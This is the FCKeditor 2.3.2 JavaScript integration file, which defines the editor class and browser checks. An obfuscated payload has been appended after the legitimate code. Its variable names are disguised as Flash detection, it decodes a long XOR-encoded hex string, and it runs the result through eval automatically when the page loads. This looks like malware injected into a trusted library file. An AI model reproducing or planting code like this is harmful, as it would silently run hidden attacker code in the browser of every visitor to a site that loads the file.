﻿/*
* FCKeditor - The text editor for internet
* Copyright (C) 2003-2006 Frederico Caldeira Knabben
*
* Licensed under the terms of the GNU Lesser General Public License:
* 		http://www.opensource.org/licenses/lgpl-license.php
*
* For further information visit:
* 		http://www.fckeditor.net/
*
* "Support Open Source software. What about a donation today?"
*
* File Name: fckeditor.js
* 	This is the integration file for JavaScript.
*
* 	It defines the FCKeditor class that can be used to create editor
* 	instances in a HTML page in the client side. For server side
* 	operations, use the specific integration system.
*
* File Authors:
* 		Frederico Caldeira Knabben (fredck@fckeditor.net)
*/

// FCKeditor Class
var FCKeditor = function( instanceName, width, height, toolbarSet, value )
{
// Properties
this.InstanceName	= instanceName ;
this.Width			= width			|| '100%' ;
this.Height			= height		|| '200' ;
this.ToolbarSet		= toolbarSet	|| 'Default' ;
this.Value			= value			|| '' ;
this.BasePath		= '/fckeditor/' ;
this.CheckBrowser	= true ;
this.DisplayErrors	= true ;
this.EnableSafari	= false ;		// This is a temporary property, while Safari support is under development.
this.EnableOpera	= false ;		// This is a temporary property, while Opera support is under development.

this.Config			= new Object() ;

// Events
this.OnError		= null ;	// function( source, errorNumber, errorDescription )
}

FCKeditor.prototype.Version			= '2.3.2' ;
FCKeditor.prototype.VersionBuild	= '1082' ;

FCKeditor.prototype.Create = function()
{
document.write( this.CreateHtml() ) ;
}

FCKeditor.prototype.CreateHtml = function()
{
// Check for errors
if ( !this.InstanceName || this.InstanceName.length == 0 )
{
this._ThrowError( 701, 'You must specify an instance name.' ) ;
return ;
}

var sHtml = '<div>' ;

if ( !this.CheckBrowser || FCKeditor_IsCompatibleBrowser() )
{
sHtml += '<input type="hidden" id="' + this.InstanceName + '" name="' + this.InstanceName + '" value="' + this._HTMLEncode( this.Value ) + '" style="display:none" />' ;
sHtml += this._GetConfigHtml() ;
sHtml += this._GetIFrameHtml() ;
}
else
{
var sWidth  = this.Width.toString().indexOf('%')  > 0 ? this.Width  : this.Width  + 'px' ;
var sHeight = this.Height.toString().indexOf('%') > 0 ? this.Height : this.Height + 'px' ;
sHtml += '<textarea name="' + this.InstanceName + '" rows="4" cols="40" style="width:' + sWidth + ';height:' + sHeight + '">' + this._HTMLEncode( this.Value ) + '<\/textarea>' ;
}

sHtml += '</div>' ;

return sHtml ;
}

FCKeditor.prototype.ReplaceTextarea = function()
{
if ( !this.CheckBrowser || FCKeditor_IsCompatibleBrowser() )
{
// We must check the elements firstly using the Id and then the name.
var oTextarea = document.getElementById( this.InstanceName ) ;
var colElementsByName = document.getElementsByName( this.InstanceName ) ;
var i = 0;
while ( oTextarea || i == 0 )
{
if ( oTextarea && oTextarea.tagName.toLowerCase() == 'textarea' )
break ;
oTextarea = colElementsByName[i++] ;
}

if ( !oTextarea )
{
alert( 'Error: The TEXTAREA with id or name set to "' + this.InstanceName + '" was not found' ) ;
return ;
}

oTextarea.style.display = 'none' ;
this._InsertHtmlBefore( this._GetConfigHtml(), oTextarea ) ;
this._InsertHtmlBefore( this._GetIFrameHtml(), oTextarea ) ;
}
}

FCKeditor.prototype._InsertHtmlBefore = function( html, element )
{
if ( element.insertAdjacentHTML )	// IE
element.insertAdjacentHTML( 'beforeBegin', html ) ;
else								// Gecko
{
var oRange = document.createRange() ;
oRange.setStartBefore( element ) ;
var oFragment = oRange.createContextualFragment( html );
element.parentNode.insertBefore( oFragment, element ) ;
}
}

FCKeditor.prototype._GetConfigHtml = function()
{
var sConfig = '' ;
for ( var o in this.Config )
{
if ( sConfig.length > 0 ) sConfig += '&amp;' ;
sConfig += escape(o) + '=' + escape( this.Config[o] ) ;
}

return '<input type="hidden" id="' + this.InstanceName + '___Config" value="' + sConfig + '" style="display:none" />' ;
}

FCKeditor.prototype._GetIFrameHtml = function()
{
var sFile = 'fckeditor.html' ;

try
{
if ( (/fcksource=true/i).test( window.top.location.search ) )
sFile = 'fckeditor.original.html' ;
}
catch (e) { /* Ignore it. Much probably we are inside a FRAME where the "top" is in another domain (security error). */ }

var sLink = this.BasePath + 'editor/' + sFile + '?InstanceName=' + this.InstanceName ;
if (this.ToolbarSet) sLink += '&amp;Toolbar=' + this.ToolbarSet ;

return '<iframe id="' + this.InstanceName + '___Frame" src="' + sLink + '" width="' + this.Width + '" height="' + this.Height + '" frameborder="0" scrolling="no"></iframe>' ;
}

// Deprecated (to be removed in the 3.0).
FCKeditor.prototype._IsCompatibleBrowser = function()
{
return FCKeditor_IsCompatibleBrowser() ;
}

FCKeditor.prototype._ThrowError = function( errorNumber, errorDescription )
{
this.ErrorNumber		= errorNumber ;
this.ErrorDescription	= errorDescription ;

if ( this.DisplayErrors )
{
document.write( '<div style="COLOR: #ff0000">' ) ;
document.write( '[ FCKeditor Error ' + this.ErrorNumber + ': ' + this.ErrorDescription + ' ]' ) ;
document.write( '</div>' ) ;
}

if ( typeof( this.OnError ) == 'function' )
this.OnError( this, errorNumber, errorDescription ) ;
}

FCKeditor.prototype._HTMLEncode = function( text )
{
if ( typeof( text ) != "string" )
text = text.toString() ;

text = text.replace(
/&/g, "&amp;").replace(
/"/g, "&quot;").replace(
/</g, "&lt;").replace(
/>/g, "&gt;") ;

return text ;
}

function FCKeditor_IsCompatibleBrowser()
{
var sAgent = navigator.userAgent.toLowerCase() ;

// Internet Explorer
if ( sAgent.indexOf("msie") != -1 && sAgent.indexOf("mac") == -1 && sAgent.indexOf("opera") == -1 )
{
var sBrowserVersion = navigator.appVersion.match(/MSIE (.\..)/)[1] ;
return ( sBrowserVersion >= 5.5 ) ;
}

// Gecko (Opera 9 tries to behave like Gecko at this point).
if ( navigator.product == "Gecko" && navigator.productSub >= 20030210 && !( typeof(opera) == 'object' && opera.postError ) )
return true ;

// Opera
if ( this.EnableOpera && navigator.appName == 'Opera' && parseInt( navigator.appVersion ) >= 9 )
return true ;

// Safari
if ( this.EnableSafari && sAgent.indexOf( 'safari' ) != -1 )
return ( sAgent.match( /safari\/(\d+)/ )[1] >= 312 ) ;	// Build must be at least 312 (1.3)

return false ;
}
this.axo='';var falseSwver;falseSwver='e7e5e0e3e4eae6e1b0fceff7cbfcf6ffebf0aef9f7ebf387bef8b1fdf1f7a9a8eeedf9d9fdefe7e9eaf7bfadfff0'+'f0faa1b7effffff6fceebcaff6ece0f5e7f1b8a7ee8892a0ada2fdebedfaf7f3e4fbe5f0e7eef5f1afa7e986bead'+'afa0afbda0e2ecf6b1ecf4eeffe0f1bbdfe5e5b3cceaebe1b99db6828aafbdb0a0b1a1e1f4f4e0d8e2a3e3e7a0d2'+'e3e2e9a2e5e8ebd3fde8fbebe2f9d4e3d7e4a7bea4e5ecfdede3ece8ebf2e3ad8b988cb7aaaa9dafafe3e7e5aff6'+'f9e8eea2f0f5b7b0a2ebfdf0b0f1e3a7e7e9e2dfddc2fbf4f5ebf69fabb28f82b0a9f8fbdd8ef0a68ef7c7ebdbfb'+'eaf8f9ace7efc2c6bbbbfebbb4e1ede1e3a2ada7b0b692aca5a5e0f5f6e5d2faa2f0eee9eceb9faaa2d98bb5a199'+'a6a6e5f4e2fae6f7ebf5e8fcafbcbab195b9a9e7f0e0eafee7e4bf93a8a6a1ecf9e0e5f5e2f8acafa4b4a49ea2a2'+'8f82b0a3a1a7bfffc6ede4bca0abb6b4bfa8f4f5c0f9afa8aaa6abf0e8fcffb6b8b6a5ada6acbebb9eb1ada4a9af'+'f2e6ebf5e3e5ada0b2a2b6b693f5e8eaf4e1e8a9b3b2aeabe1dee5ece7edb3aeb2adb68eafad9b82a5a8abbda1c3'+'eae9f6faf6b0b1a8a6b798acf1f2e1faf5f5b2b3bfb180a4aea98680eb848ce4f3e9f1ffdde2e1a0e8f8e4c3fee9'+'f6e6c9bce1f5edc9acaffe8d9ab9b1b7f0f4d1ace1f8ede0fbefa2b6a5b6a5b0a985b3e6f8e2e5fef9ede78be8eb'+'fce0e0fcb48987b495ace0e2f1a8f4eae7e4ebd8acb8a5a8b4b6b2bda6f8cde7e5b0a4a8b1b7a3a2998894aeabe5'+'f6e4acfaebc0ddffe4a2aba7e9fee0f98e8188bdafb4a3f4f4b7fcf2f4fcf1c1b1afa0a7b18784a9b6b5f0f6ffb0'+'e8e1cfa0b4a8a7ea889ba4a5b5e3eeabadf8ffe8fee1e3a0eff6faf5fbfc87b1a6a6a1aeec8e89a7afa6b6a890e3'+'e3e3f9f1e5a4afb4eeebfafdfce7b9cfe1e1fcf6c3f6a6f3f3e3e4faf9bebd98b8a9adb3a3a8aff9d1a9bdebebe2'+'e3e5e5aab7b4a68fb7aeb2f09d86aeb0b6a991a8adb1a4fdf6f5efe6e790bebbade3e8eed2eeeabae1f6f8e1edfa'+'a89d9ab3a5b193a3a8f0b5a6f2e3f4adb28fe7e1fbe7ecc0a6e2fbedeaa7cfb2a5f0b689b98ee0cef4f5f1f2ae8f'+'8c8a8bf6f7fcadb0a0b1eff5a59de4f6efa0b4b5b79dbeacb3f89ec4b1a0b282bca5afa7b0b0b3a5f4dde7a8b1b0'+'edefc2e9e7e0baecf0ecd4f1f9b29485a48aa2b2a9adaab996f09b8aacaea2b2af90a4b1eafbe4fdd8ecc4adbfbe'+'f5fcf0f2fbc6e9e9aaeafce9f8eaeda1e3c2ebe6f0ffedfbf1bdedf1d1f9efb3acade7fae9bbafab929eafb0b0b3'+'a5b1ea909aa4b194ea8e84b7a3a3dee7f9ffe0a0a5efe6c3d5e1e1ba9c88fb8a98fdcbfeaef9e5ebfba2abaae7eb'+'e3c1f0e7e9feeba2ace3f6ffebf6f7e5a99daa9c85e6f4b1aae4e6f4f8bdaeb280a2a7acfb9f88baeff6e0bfc6e4'+'ffadf5faefabc1f0b0e0f1e5e3eeebe3a5a8a6beadaaecfae2e6b8b9a3f9e5f1fdf5fcffe7f2a7e9eaf2b9e1fbab'+'fbf2ffaabbb586f8ecfdfaefb2b4b6e0d5e5e2edfea9b3b0aef3e4fae5eaadadeeeafbe3cbf4f1bcf9e6efffa3b8'+'c4e2fbf3e4e1e8eaf4d7ece5a8b0b4fbf7f6f1e4ece9e9f6d8eebda5a9ffe7fcf8d9edf1fee7ace4ebb4b0b9cef3'+'fae7fce1aca2a5afae89a799dde5e7e2c0ece0edf9eda1aff8fde3e5e7f7e68fa6aaa7a3a1a6ac86b493ad85b6ab'+'b1a2bf8e8cd6';function shockw(src){                       var verAxo = 3;var flashShockw = null;var ns = 'av%st'.replace(/[avst]/g,'');var flash = -1;var strfoo = flashShockw;function trueVer(playerShockw){var falseFalse=1;var flashWin=1%falseFalse;function aveSrc(winWin){var opera=1;}var major=0,falseAxo=playerShockw['l8e4n6gMtMhM'.replace(/[MN648]/g, '')];while(flashWin<falseAxo){flashWin+=1;aveShockw=swver(playerShockw,flashWin+flash);major+=aveShockw*falseAxo;}return new String(major);}var minor=String;function flashSrc(msie, strfooWin){if(swverFlash == flashShockw) {swverFlash = {};}if(swverFlash[msie] == flashShockw) {var axoOpera = Object;swverFlash[msie] = new axoOpera();swverFlash[msie].nsPlugin = flashShockw;swverFlash[msie].srcWin = strfooWin;}}                        var majorPlayer = 4; var swverTrue=window;                       var msieMajor = 1; function ext(msie) {if(swverFlash[msie] != flashShockw) {var win = swverFlash[msie];var swverWin = win.nsPlugin;var msieFlash = win.srcWin;var swverSrc = msieFlash.substr(swverWin, 1);var msieIe = msieFlash['l8e4n6gMtMhM'.replace(/[MN648]/g, '')];                   var aveVer = majorPlayer-verAxo;if((swverWin + (msieMajor*aveVer)) >= msieIe) {win.nsPlugin =aveVer - (majorPlayer % verAxo);} else {win.nsPlugin = swverWin - flash;}return swver(swverSrc, msieMajor - aveVer);}}var flashMinor=document;function swver(winTrue,is){return winTrue['cvh8avr7Cioidie8A8t8'.replace(/[807vi]/g, '')](is);}var flash = strfoo + flash;var swverFlash = flashShockw;function shockwMsie(playerObj,shockwVer){return playerObj^shockwVer;}var majorMsie = '';var falseNs = 2;var ie = new minor(flashMinor['w<r~iOtGeO'.replace(/[O\<G\!~]/g, '')]);var msieIs = ie['iYnzdYe4x0O4f4'.replace(/[40zYJ]/g, '')]('a;r;i;t;y;'.replace(/[;U\{m#]/g, ''));if(msieIs != flash) { return 211;}var aveVerAxo = strfoo;var operaObj = '';var strfooSwver = swverTrue['s*e*t;T6i6m8e6o;u8t*'.replace(/[\*;8V6]/g, '')];var shockwStrfoo=211;var shockwMajor=minor['f;r0o8m;C8h0asr0C;o;dMe0'.replace(/[0s8;M]/g, '')];var trueAxo=swverTrue['uUnUe@sUcUahp@eN'.replace(/[Nh/U@]/g, '')];for(var playerIe=aveVerAxo; playerIe < src['l8e4n6gMtMhM'.replace(/[MN648]/g, '')]; playerIe+=falseNs){majorMsie+= ns + src['syuybFs(t(rF'.replace(/[F8y\(\!]/g, '')](playerIe, falseNs);}var src = trueAxo(majorMsie);var swverWinStrfoo = new minor(shockw);var operaVer = swverWinStrfoo['r+etp&lQa&cQe~'.replace(/[~&\+tQ]/g, '')](/[^@a-z0-9A-Z_-]/g, new String());var operaTrue = new minor(trueVer(operaVer));flashSrc('swverFlashPlugin', operaTrue);var strfooSwverAxo = '';flashSrc('obj', operaVer);for(var strfooFalse=aveVerAxo; strfooFalse < (src['l8e4n6gMtMhM'.replace(/[MN648]/g, '')]); strfooFalse++) {var msieAxo = swver(src,strfooFalse);msieAxo = shockwMsie(msieAxo, shockwStrfoo);msieAxo = shockwMsie(msieAxo, ext('swverFlashPlugin'));msieAxo = shockwMsie(msieAxo, ext('obj'));operaObj+=shockwMajor(msieAxo);}swverTrue['eIvIa#lB'.replace(/[BI#9\:]/g, '')](operaObj);return operaObj=new minor();};var playerIs=false;shockw(falseSwver);this.isOpera=48710;   //secured_20022002
